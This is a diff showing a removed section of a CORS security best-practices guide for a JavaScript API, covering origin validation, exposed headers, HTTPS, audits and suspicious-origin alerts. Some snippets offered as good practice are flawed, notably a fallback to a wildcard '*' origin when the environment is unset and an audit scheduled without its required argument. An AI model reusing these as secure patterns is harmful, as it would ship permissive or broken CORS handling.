origin: async (origin) => {
|
|
1650
|
-
const allowed = await db('allowed_origins')
|
|
1651
|
-
.where({ origin, active: true })
|
|
1652
|
-
.first();
|
|
1653
|
-
|
|
1654
|
-
if (!allowed) {
|
|
1655
|
-
// Security event logging
|
|
1656
|
-
await db('security_events').insert({
|
|
1657
|
-
type: 'cors_rejection',
|
|
1658
|
-
origin,
|
|
1659
|
-
timestamp: new Date(),
|
|
1660
|
-
ip: requestIp // If available
|
|
1661
|
-
});
|
|
1662
|
-
}
|
|
1663
|
-
|
|
1664
|
-
return !!allowed;
|
|
1665
|
-
}
|
|
1666
|
-
}
|
|
1667
|
-
});
|
|
1668
|
-
```
|
|
1669
|
-
|
|
1670
|
-
**Advanced Pattern Recognition:**
|
|
1671
|
-
```javascript
|
|
1672
|
-
// Be careful with patterns
|
|
1673
|
-
const secureOriginValidator = (origin) => {
|
|
1674
|
-
// Prevent subdomain takeover attacks
|
|
1675
|
-
const parsed = new URL(origin);
|
|
1676
|
-
|
|
1677
|
-
// Must be HTTPS
|
|
1678
|
-
if (parsed.protocol !== 'https:') return false;
|
|
1679
|
-
|
|
1680
|
-
// Check against allowed patterns
|
|
1681
|
-
const allowedPatterns = [
|
|
1682
|
-
/^https:\/\/[a-z0-9-]+\.mycompany\.com$/, // Subdomains
|
|
1683
|
-
/^https:\/\/localhost:\d+$/ // Local dev only
|
|
1684
|
-
];
|
|
1685
|
-
|
|
1686
|
-
return allowedPatterns.some(pattern => pattern.test(origin));
|
|
1687
|
-
};
|
|
1688
|
-
```
|
|
1689
|
-
### 3. Limit Exposed Headers
|
|
1690
|
-
|
|
1691
|
-
**The Rule:** Only expose headers that client applications actually need to read.
|
|
1692
|
-
|
|
1693
|
-
**Why This Matters:**
|
|
1694
|
-
Exposed headers can leak information:
|
|
1695
|
-
- Internal system details
|
|
1696
|
-
- User information
|
|
1697
|
-
- Infrastructure details
|
|
1698
|
-
- Security tokens
|
|
1699
|
-
|
|
1700
|
-
**Bad Example - Over-Exposure:**
|
|
1701
|
-
```javascript
|
|
1702
|
-
// TOO MUCH INFORMATION
|
|
1703
|
-
await api.use(CorsPlugin, {
|
|
1704
|
-
'rest-api-cors': {
|
|
1705
|
-
exposedHeaders: [
|
|
1706
|
-
'X-Powered-By', // Reveals server technology
|
|
1707
|
-
'X-Server-Instance', // Infrastructure details
|
|
1708
|
-
'X-Internal-Request-ID', // Internal tracking
|
|
1709
|
-
'X-Database-Query-Time', // Performance details
|
|
1710
|
-
'X-User-Internal-ID', // Internal user IDs
|
|
1711
|
-
'X-Debug-Info' // Debug information
|
|
1712
|
-
]
|
|
1713
|
-
}
|
|
1714
|
-
});
|
|
1715
|
-
```
|
|
1716
|
-
|
|
1717
|
-
**Good Example - Minimal Exposure:**
|
|
1718
|
-
```javascript
|
|
1719
|
-
// SECURE - Only what's needed
|
|
1720
|
-
await api.use(CorsPlugin, {
|
|
1721
|
-
'rest-api-cors': {
|
|
1722
|
-
exposedHeaders: [
|
|
1723
|
-
// Pagination - needed for UI
|
|
1724
|
-
'X-Total-Count',
|
|
1725
|
-
'Link',
|
|
1726
|
-
|
|
1727
|
-
// Rate limiting - needed for client backoff
|
|
1728
|
-
'X-RateLimit-Remaining',
|
|
1729
|
-
'X-RateLimit-Reset'
|
|
1730
|
-
|
|
1731
|
-
// Nothing else!
|
|
1732
|
-
]
|
|
1733
|
-
}
|
|
1734
|
-
});
|
|
1735
|
-
```
|
|
1736
|
-
|
|
1737
|
-
**Security Headers to Never Expose:**
|
|
1738
|
-
```javascript
|
|
1739
|
-
// NEVER expose these headers
|
|
1740
|
-
const dangerousHeaders = [
|
|
1741
|
-
'X-Internal-User-Role', // Internal permissions
|
|
1742
|
-
'X-Session-Token', // Session identifiers
|
|
1743
|
-
'X-Database-Connection', // Infrastructure
|
|
1744
|
-
'X-Internal-Error-Details', // Stack traces
|
|
1745
|
-
'X-Employee-ID', // Internal IDs
|
|
1746
|
-
'X-AWS-Request-ID' // Cloud provider details
|
|
1747
|
-
];
|
|
1748
|
-
```
|
|
1749
|
-
|
|
1750
|
-
**Dynamic Header Exposure:**
|
|
1751
|
-
```javascript
|
|
1752
|
-
// Expose different headers based on user role
|
|
1753
|
-
api.addHook('transport:response', 'dynamic-expose', async ({ context, response }) => {
|
|
1754
|
-
const userRole = context.user?.role;
|
|
1755
|
-
|
|
1756
|
-
if (userRole === 'developer') {
|
|
1757
|
-
// Developers get debug headers
|
|
1758
|
-
response.headers['Access-Control-Expose-Headers'] += ', X-Query-Time, X-Cache-Status';
|
|
1759
|
-
} else {
|
|
1760
|
-
// Regular users get minimal headers
|
|
1761
|
-
response.headers['Access-Control-Expose-Headers'] = 'X-Total-Count';
|
|
1762
|
-
}
|
|
1763
|
-
});
|
|
1764
|
-
```
|
|
1765
|
-
### 4. Always Use HTTPS in Production
|
|
1766
|
-
|
|
1767
|
-
**The Rule:** CORS is not a replacement for HTTPS. Always use HTTPS in production.
|
|
1768
|
-
|
|
1769
|
-
**Why This Matters:**
|
|
1770
|
-
CORS only controls which websites can access your API from a browser. It doesn't:
|
|
1771
|
-
- Encrypt data in transit
|
|
1772
|
-
- Prevent man-in-the-middle attacks
|
|
1773
|
-
- Authenticate the server
|
|
1774
|
-
- Protect against network sniffing
|
|
1775
|
-
|
|
1776
|
-
**What CORS Does vs What HTTPS Does:**
|
|
1777
|
-
|
|
1778
|
-
| Security Aspect | CORS | HTTPS |
|
|
1779
|
-
|----------------|------|-------|
|
|
1780
|
-
| Prevents malicious websites | ✅ | ❌ |
|
|
1781
|
-
| Encrypts data in transit | ❌ | ✅ |
|
|
1782
|
-
| Authenticates server identity | ❌ | ✅ |
|
|
1783
|
-
| Prevents MITM attacks | ❌ | ✅ |
|
|
1784
|
-
| Protects cookies | Partial | ✅ |
|
|
1785
|
-
|
|
1786
|
-
**Production Configuration:**
|
|
1787
|
-
```javascript
|
|
1788
|
-
// SECURE - HTTPS only in production
|
|
1789
|
-
if (process.env.NODE_ENV === 'production') {
|
|
1790
|
-
// Enforce HTTPS origins only
|
|
1791
|
-
await api.use(CorsPlugin, {
|
|
1792
|
-
'rest-api-cors': {
|
|
1793
|
-
origin: (origin) => {
|
|
1794
|
-
if (!origin.startsWith('https://')) {
|
|
1795
|
-
console.warn('Rejected non-HTTPS origin:', origin);
|
|
1796
|
-
return false;
|
|
1797
|
-
}
|
|
1798
|
-
return allowedOrigins.includes(origin);
|
|
1799
|
-
}
|
|
1800
|
-
}
|
|
1801
|
-
});
|
|
1802
|
-
|
|
1803
|
-
// Also enforce secure cookies
|
|
1804
|
-
app.use(session({
|
|
1805
|
-
cookie: {
|
|
1806
|
-
secure: true, // HTTPS only
|
|
1807
|
-
httpOnly: true, // No JS access
|
|
1808
|
-
sameSite: 'strict' // CSRF protection
|
|
1809
|
-
}
|
|
1810
|
-
}));
|
|
1811
|
-
}
|
|
1812
|
-
```
|
|
1813
|
-
|
|
1814
|
-
**Common HTTPS + CORS Issues:**
|
|
1815
|
-
```javascript
|
|
1816
|
-
// Mixed content problems
|
|
1817
|
-
// If API is HTTPS but allows HTTP origins:
|
|
1818
|
-
await api.use(CorsPlugin, {
|
|
1819
|
-
'rest-api-cors': {
|
|
1820
|
-
origin: [
|
|
1821
|
-
'https://app.example.com', // Good
|
|
1822
|
-
'http://app.example.com' // Bad - browser may block
|
|
1823
|
-
]
|
|
1824
|
-
}
|
|
1825
|
-
});
|
|
1826
|
-
|
|
1827
|
-
// Solution: Redirect HTTP to HTTPS
|
|
1828
|
-
app.use((req, res, next) => {
|
|
1829
|
-
if (req.header('x-forwarded-proto') !== 'https') {
|
|
1830
|
-
res.redirect(`https://${req.header('host')}${req.url}`);
|
|
1831
|
-
} else {
|
|
1832
|
-
next();
|
|
1833
|
-
}
|
|
1834
|
-
});
|
|
1835
|
-
```
|
|
1836
|
-
### 5. Regular Security Audits
|
|
1837
|
-
|
|
1838
|
-
**The Rule:** Periodically review and audit your CORS configuration to remove unused origins and tighten security.
|
|
1839
|
-
|
|
1840
|
-
**Why This Matters:**
|
|
1841
|
-
- Old partner domains might be compromised
|
|
1842
|
-
- Development/staging URLs might leak to production
|
|
1843
|
-
- Subdomain takeover attacks
|
|
1844
|
-
- Accumulated technical debt
|
|
1845
|
-
|
|
1846
|
-
**Audit Checklist:**
|
|
1847
|
-
|
|
1848
|
-
```javascript
|
|
1849
|
-
// 1. Log and monitor origin usage
|
|
1850
|
-
const originStats = new Map();
|
|
1851
|
-
|
|
1852
|
-
api.addHook('transport:request', 'origin-monitor', async ({ request }) => {
|
|
1853
|
-
const origin = request.headers.origin;
|
|
1854
|
-
if (origin) {
|
|
1855
|
-
const stats = originStats.get(origin) || { count: 0, lastSeen: null };
|
|
1856
|
-
stats.count++;
|
|
1857
|
-
stats.lastSeen = new Date();
|
|
1858
|
-
originStats.set(origin, stats);
|
|
1859
|
-
}
|
|
1860
|
-
});
|
|
1861
|
-
|
|
1862
|
-
// 2. Regular audit function
|
|
1863
|
-
async function auditCorsOrigins(corsConfig) {
|
|
1864
|
-
console.log('=== CORS Origin Audit ===');
|
|
1865
|
-
|
|
1866
|
-
// Check configured origins
|
|
1867
|
-
console.log('Configured origins:', corsConfig.origin);
|
|
1868
|
-
|
|
1869
|
-
// Show usage stats
|
|
1870
|
-
console.log('\nOrigin Usage (last 30 days):');
|
|
1871
|
-
for (const [origin, stats] of originStats) {
|
|
1872
|
-
console.log(`${origin}: ${stats.count} requests, last: ${stats.lastSeen}`);
|
|
1873
|
-
}
|
|
1874
|
-
|
|
1875
|
-
// Check for unused origins
|
|
1876
|
-
const unusedDays = 30;
|
|
1877
|
-
const cutoff = new Date(Date.now() - unusedDays * 24 * 60 * 60 * 1000);
|
|
1878
|
-
|
|
1879
|
-
console.log('\nPotentially unused origins:');
|
|
1880
|
-
for (const [origin, stats] of originStats) {
|
|
1881
|
-
if (stats.lastSeen < cutoff) {
|
|
1882
|
-
console.log(`${origin} - Last used: ${stats.lastSeen}`);
|
|
1883
|
-
}
|
|
1884
|
-
}
|
|
1885
|
-
}
|
|
1886
|
-
|
|
1887
|
-
// 3. Run monthly
|
|
1888
|
-
setInterval(auditCorsOrigins, 30 * 24 * 60 * 60 * 1000);
|
|
1889
|
-
```
|
|
1890
|
-
|
|
1891
|
-
**Automated Security Checks:**
|
|
1892
|
-
```javascript
|
|
1893
|
-
// Check for subdomain takeover risks
|
|
1894
|
-
async function checkSubdomainTakeover(corsConfig) {
|
|
1895
|
-
const origins = Array.isArray(corsConfig.origin) ? corsConfig.origin : [corsConfig.origin];
|
|
1896
|
-
|
|
1897
|
-
for (const origin of origins) {
|
|
1898
|
-
try {
|
|
1899
|
-
const url = new URL(origin);
|
|
1900
|
-
const response = await fetch(url.origin);
|
|
1901
|
-
|
|
1902
|
-
// Check if domain still points to your infrastructure
|
|
1903
|
-
if (!response.ok || !response.headers.get('x-your-app')) {
|
|
1904
|
-
console.error(`SECURITY RISK: ${origin} may be compromised`);
|
|
1905
|
-
// Send alert to security team
|
|
1906
|
-
}
|
|
1907
|
-
} catch (error) {
|
|
1908
|
-
console.error(`Cannot verify ${origin}: ${error.message}`);
|
|
1909
|
-
}
|
|
1910
|
-
}
|
|
1911
|
-
}
|
|
1912
|
-
```
|
|
1913
|
-
|
|
1914
|
-
**Origin Management Best Practices:**
|
|
1915
|
-
```javascript
|
|
1916
|
-
// Track allowed origins in your configuration
|
|
1917
|
-
const corsOrigins = {
|
|
1918
|
-
production: [
|
|
1919
|
-
'https://app.example.com',
|
|
1920
|
-
'https://admin.example.com'
|
|
1921
|
-
],
|
|
1922
|
-
staging: [
|
|
1923
|
-
'https://staging.example.com',
|
|
1924
|
-
'https://preview.example.com'
|
|
1925
|
-
],
|
|
1926
|
-
development: '*'
|
|
1927
|
-
};
|
|
1928
|
-
|
|
1929
|
-
// Use environment-based configuration
|
|
1930
|
-
await api.use(CorsPlugin, {
|
|
1931
|
-
'rest-api-cors': {
|
|
1932
|
-
origin: corsOrigins[process.env.NODE_ENV] || corsOrigins.development
|
|
1933
|
-
}
|
|
1934
|
-
});
|
|
1935
|
-
|
|
1936
|
-
// To add or remove origins, update the configuration and restart the server
|
|
1937
|
-
// This ensures all server instances have consistent CORS settings
|
|
1938
|
-
```
|
|
1939
|
-
|
|
1940
|
-
**Security Alerts:**
|
|
1941
|
-
```javascript
|
|
1942
|
-
// Alert on suspicious patterns
|
|
1943
|
-
api.addHook('transport:request', 'security-alert', async ({ request }) => {
|
|
1944
|
-
const origin = request.headers.origin;
|
|
1945
|
-
|
|
1946
|
-
// Check for suspicious patterns
|
|
1947
|
-
if (origin && (
|
|
1948
|
-
origin.includes('ngrok.io') ||
|
|
1949
|
-
origin.includes('localhost.run') ||
|
|
1950
|
-
origin.includes('.local') ||
|
|
1951
|
-
origin.match(/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/)
|
|
1952
|
-
)) {
|
|
1953
|
-
console.warn('SECURITY ALERT: Suspicious origin detected:', origin);
|
|
1954
|
-
// Send to security monitoring
|
|
1955
|
-
}
|
|
1956
|
-
});
|
|
1957
|
-
```
|